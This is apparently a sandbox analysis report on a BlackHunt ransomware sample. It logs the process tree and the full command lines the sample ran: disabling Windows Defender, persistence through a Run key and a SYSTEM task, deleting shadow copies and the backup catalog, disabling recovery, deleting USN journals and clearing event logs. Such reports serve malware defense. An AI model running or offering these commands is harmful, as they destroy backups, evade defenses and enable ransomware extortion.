description pid Process Token: SeDebugPrivilege 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeRestorePrivilege 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeBackupPrivilege 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeTakeOwnershipPrivilege 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeAuditPrivilege 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeSecurityPrivilege 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeIncBasePriorityPrivilege 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeBackupPrivilege 724 vssvc.exe Token: SeRestorePrivilege 724 vssvc.exe Token: SeAuditPrivilege 724 vssvc.exe Token: SeBackupPrivilege 4976 wbengine.exe Token: SeRestorePrivilege 4976 wbengine.exe Token: SeSecurityPrivilege 4976 wbengine.exe Token: SeSecurityPrivilege 8612 wevtutil.exe Token: SeBackupPrivilege 8612 wevtutil.exe Token: SeSecurityPrivilege 2808 wevtutil.exe Token: SeBackupPrivilege 2808 wevtutil.exe Token: SeSecurityPrivilege 5980 wevtutil.exe Token: SeBackupPrivilege 5980 wevtutil.exe Token: SeSecurityPrivilege 9152 wevtutil.exe Token: SeBackupPrivilege 9152 wevtutil.exe Token: SeSecurityPrivilege 5296 wevtutil.exe Token: SeBackupPrivilege 5296 wevtutil.exe Token: SeDebugPrivilege 5560 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3920 wrote to memory of 4268 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 88 PID 3920 wrote to memory of 4268 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 88 PID 3920 wrote to memory of 4404 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 90 PID 3920 wrote to memory of 4404 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 90 PID 3920 wrote to memory of 4760 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 92 PID 3920 wrote to memory of 4760 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 92 PID 3920 wrote to memory of 4984 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 94 PID 3920 wrote to memory of 4984 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 94 PID 4268 wrote to memory of 1872 4268 cmd.exe 96 PID 4268 wrote to memory of 1872 4268 cmd.exe 96 PID 4404 wrote to memory of 2308 4404 cmd.exe 97 PID 4404 wrote to memory of 2308 4404 cmd.exe 97 PID 3920 wrote to memory of 2496 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 98 PID 3920 wrote to memory of 2496 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 98 PID 4760 wrote to memory of 1348 4760 cmd.exe 100 PID 4760 wrote to memory of 1348 4760 cmd.exe 100 PID 3920 wrote to memory of 2580 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 103 PID 3920 wrote to memory of 2580 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 103 PID 3920 wrote to memory of 1368 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 102 PID 3920 wrote to memory of 1368 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 102 PID 4984 wrote to memory of 4236 4984 cmd.exe 105 PID 4984 wrote to memory of 4236 4984 cmd.exe 105 PID 3920 wrote to memory of 3208 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 106 PID 3920 wrote to memory of 3208 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 106 PID 3920 wrote to memory of 3588 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 108 PID 3920 wrote to memory of 3588 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 108 PID 3920 wrote to memory of 2256 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 109 PID 3920 wrote to memory of 2256 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 109 PID 3920 wrote to memory of 1688 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 111 PID 3920 wrote to memory of 1688 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 111 PID 3920 wrote to memory of 1044 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 113 PID 3920 wrote to memory of 1044 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 113 PID 3920 wrote to memory of 2868 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 118 PID 3920 wrote to memory of 2868 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 118 PID 2496 wrote to memory of 1700 2496 cmd.exe 114 PID 2496 wrote to memory of 1700 2496 cmd.exe 114 PID 2580 wrote to memory of 692 2580 cmd.exe 119 PID 2580 wrote to memory of 692 2580 cmd.exe 119 PID 3920 wrote to memory of 3416 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 120 PID 3920 wrote to memory of 3416 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 120 PID 3920 wrote to memory of 3868 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 122 PID 3920 wrote to memory of 3868 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 122 PID 3208 wrote to memory of 3144 3208 cmd.exe 125 PID 3208 wrote to memory of 3144 3208 cmd.exe 125 PID 3588 wrote to memory of 4184 3588 cmd.exe 123 PID 3588 wrote to memory of 4184 3588 cmd.exe 123 PID 1368 wrote to memory of 2480 1368 cmd.exe 126 PID 1368 wrote to memory of 2480 1368 cmd.exe 126 PID 3920 wrote to memory of 5028 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 127 PID 3920 wrote to memory of 5028 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 127 PID 1688 wrote to memory of 2808 1688 cmd.exe 132 PID 1688 wrote to memory of 2808 1688 cmd.exe 132 PID 2256 wrote to memory of 4512 2256 cmd.exe 184 PID 2256 wrote to memory of 4512 2256 cmd.exe 184 PID 1044 wrote to memory of 3184 1044 cmd.exe 131 PID 1044 wrote to memory of 3184 1044 cmd.exe 131 PID 2868 wrote to memory of 4264 2868 cmd.exe 129 PID 2868 wrote to memory of 4264 2868 cmd.exe 129 PID 3416 wrote to memory of 2328 3416 cmd.exe 182 PID 3416 wrote to memory of 2328 3416 cmd.exe 182 PID 3920 wrote to memory of 3956 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 134 PID 3920 wrote to memory of 3956 3920 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 134 PID 3868 wrote to memory of 2628 3868 cmd.exe 136 PID 3868 wrote to memory of 2628 3868 cmd.exe 136 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe"C:\Users\Admin\AppData\Local\Temp\075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3920 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4268 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4404 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2308
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:1348
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4984 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4236
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2496 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2580 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:3144
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3588 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:4184
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:4512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2808
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1044 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:3184
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4264
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3416 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2328
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:3868
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:5028
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:4540
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:3956
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1716
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:876
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2224
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4592
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2368
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3120
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:3124
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:4556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:4480
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:3332
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:4996
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2396
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:3312
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:3508
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:5052
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2124
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:5112
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4876
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:552
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4504
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2300
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:3872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1012
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe" /F2⤵PID:3724
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe" /F3⤵
- Creates scheduled task(s)
PID:1616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:4868
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:3976
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2328
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2132
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1432
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4512
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4836
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1964
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4424
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1100
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:5268
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:792
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:5272
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1016
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5292
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3156
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:5280
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3124
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:3716
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:6352
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:7916
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:6148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:7772
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:8400
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:8424
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:8612
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:5516
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2808
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:8196
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:9152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:8656
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:5980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:8920
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:5296
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:8592
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5248
